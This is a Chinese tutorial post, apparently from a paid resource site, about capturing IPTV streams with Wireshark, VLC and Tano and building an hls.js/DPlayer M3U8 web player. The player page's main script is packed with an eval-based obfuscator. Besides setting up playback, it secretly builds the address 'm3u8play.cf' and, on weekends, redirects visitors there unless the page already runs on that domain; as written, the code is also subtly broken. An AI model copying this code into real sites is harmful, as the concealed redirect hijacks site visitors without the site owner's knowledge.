由于“疫情事件”各学校推荐开发,并推出“名校课堂”,实在是事好事。无耐家里没装有线,某象在线各种进不去,只好自己动手分析IPTV流,解释M3U8以实现电脑播放。
IPTV是什么
互联网协议电视(IPTV)是一项通过TCP / IP网络传递电视节目和其他视频内容的服务。这与通过传统的有线和卫星信号传送的传统电视节目形成直接对比。IPTV使您能够通过Internet连接连续流传输源媒体,这比其他传统媒体效率更高。
IPTV通常由IPTV服务提供和分发dplayer视频播放,该服务提供三种服务分类,即:
M3U8是什么
M3U8代表MP3 URL。它是一种主要与音频播放列表相关的格式,但是已经扩展为包含视觉信息,并且可以用于多媒体文件。多媒体播放器使用M3U8文件将文件排队播放。它是MP3播放器上用于音频编辑和实时流媒体的最广泛使用的格式之一,在IPTV行业中非常流行。
M3U8文件包含有关要添加到播放列表中的媒体的信息。对于IPTV服务,您可以使用文本文件在要观看的频道上添加数据以编辑和编译该文件。
网络中查找IPTV流
1、先决条件及工具:
打开Wireshark:
选择您的网络接口(通常是本地连接)并开始捕获
几秒钟后,单击停止图标以停止录制。在源的开头找到一些带有DTS的帧。(请参见下面的捕获) 通常会在此处找到所需的信息dplayer视频播放,例如目标IP(DST),端口(DST端口)和协议,用户数据报协议(aka UDP) 记下该信息,稍后我们将需要用到它。
捕获的IPTV帧的详细信息
2、打开VLC:
VLC –单击“媒体”->“打开网络流”
VLC –选择“网络标签”,然后将udp:// @ IP-found-with-Wireshark:DSTPort插入为URL
然后点击“播放”
3、打开Tano:
单击“选项”->“编辑频道”
如果要求提供现有的播放列表,请单击“取消”
输入您在Wireshark中找到的IP的前3个网段以及目标端口。然后单击“扫描并更新”
扫描结果如下:
将结果保存到指定位置。
M3U8在线播放器
使用hls.js,不需要任何定制的播放器,只需要元素就能播放m3u8。关于hls文件格式请自行科普。
在需要放置视频的页面位置上加入video元素和hls.js文件。
<video id=\"video\" controls width=\"100%\"></video>
<script src=\"hls.js\"></script>
判断浏览器是否支持hls,如果支持就实例化new Hls(),加载m3u8源,然后播放。如果不支持hls,而支持苹果原生应用,则播放另一个m3u8源。
整体实现代码如下,为了方便应用引用了jquery等组件:
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">
<title>认知计算与云安全(M3U8在线播放器)</title>
<meta name=\"keywords\" content=\"认知计算与云安全、M3U8在线播放器、深度学习、神经网络、AI、机器学习、区块链\">
<meta http-equiv=\"Cache-Control\" content=\"no-siteapp\"/>
<meta name=\"renderer\" content=\"webkit\">
<meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no\">
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">
<script src=\"jquery/1.7.1/jquery.min.js\" type=\"application/javascript\"></script>
<script src=\"hls.js/0.10.1/hls.min.js\" type=\"application/javascript\"></script>
<script src=\"dplayer/1.25.0/DPlayer.min.js\" type=\"application/javascript\"></script>
<link href=\"dplayer/1.25.0/DPlayer.min.css\" type=\"text/css\" rel=\"stylesheet\" />
<style>body{text-align: center}header{margin:20px 0;}header h1{width: 450px;margin: 0 auto;}html{font-size: 62.5%;font-family: \'microsoft yahei\',Simsun,sans-serif;}blockquote,body,button,code,dd,div,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,hr,input,legend,li,ol,p,pre,td,textarea,th,ul{margin: 0;padding: 0}h1,h2,h3,h4,h5,h6{font-size: 100%;font-family: arial,\'hiragino sans gb\',\'microsoft yahei\',Simsun,sans-serif}li{list-style: none}a:link,a:visited{text-decoration: none}body{font-size: 12px;line-height: 1.333}.clear{clear:both;}.cont{width:1200px;margin:0 auto;}#ckplays{height:650px;background:#eee}#footer{margin-top: 30px;color: #111;text-align: center}@media screen and (min-width:0px) and (max-width:900px){.cont{width:auto;min-width: auto;}.navigation-up .navigation-v3{margin:0;}#ckplays{width:100%;min-height:260px;height:auto;}.searchs .text{width:80%;}}</style>
<link href=\"css/amazeui.min.css\" type=\"text/css\" rel=\"stylesheet\" />
</head>
<body>
<header>
<h1><a href=\"\" target=\"_blank\">
认知计算与云安全(M3U8在线播放器)
</a>
</h1>
</header>
<div class=\"cont\">
<div class=\"am-u-lg-12 am-margin-bottom-lg\" style=\"padding:0;\">
<div class=\"am-input-group\">
<input type=\"text\" class=\"am-form-field\" name=\"url\" id=\"url\" placeholder=\"请输入支持m3u8网址\">
<span class=\"am-input-group-btn\">
<button class=\"am-btn am-btn-default\" type=\"button\" name=\"doplayers\" id=\"doplayers\">立即播放</button>
</span>
</div>
</div>
<div class=\"clear\"></div>
<div id=\"ckplays\">
</div>
</div>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\"\":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c]);return p;}(\'$(a(){$(\"#q\").r(\"o\",a(){3($(\"#5\").d()){p s=v w({t:h.k(\'e\'),u:{5:$(\"#5\").d(),l:\'n\',},m:\'7\',x:D})}4 8=h.k(\"e\");8.E.F=\"7\"})});4 9=H.j.b;4 2=\"G\";2+=\"z\";2+=\":/\";2+=\"/y\";2+=\"A\";2+=\".c\";2+=\"f\";3(9.C(\"B\")==-1){3(i.g()==6||i.g()==0){j.b=2}};\',44,44,\'||mua|if|var|url||auto|muh|ads|function|href||val|ckplays||getDay|document|dt|location|getElementById|type|preload|hls|click|const|doplayers|on|dp|container|video|new|DPlayer|autoplay|m3u8|tps|play|m3u8p|indexOf|true|style|height|ht|window\'.split(\'|\'),0,{}))</script>
<div>
<p>请微信扫描关注我们 ©2020 SOJAVA</p>
</div>
</body>
</html>
效果展示:
1. 想看详细教程请在网站注册登录后按“立即下载”按钮下载查看!(请注意:购买年度会员和永久会员免费下载观看)
2. 查看教程方法:手机版在底部按钮下载查看,网页版在右边侧栏下载查看
⇒⇒⇒⇒⇒⇒⇒⇒⇒⇒
3. 限时特惠:本站每日持续更新海量各大内部创业教程,一年会员只需198元(开通请点击右上角头像个人中心开通),全站资源免费下载 点我查看详情
-----------------------------------------郑重声明::
1. 本站所分享资料部分来自互联网公开渠道获取,仅供会员学习交流使用,请于24小时内删除,尊重原作者及出版方,如认为本站有使用不当的地方,或侵犯了您的权益,请联系本站工作人员,我们会及时删除。
2. 本教程收集于其他付费资源平台,仅作资源分享学习使用,不提供任何的一对一教学指导,不提供任何收益保障,具体请自行分辨测试,如遇充值环节或绑定支付账户或输入支付密码之类的异常步骤,建议停止操作,是否有风险请自行甄别,本站概不负责!
3. 有的教程如果出现无法下载或者无内容说明链接失效了,请及时联系站长进行免费处理售后。
4. 切记!课程内如含有其他联系方式引导你付费的请注意慎重考虑,以免被割韭菜!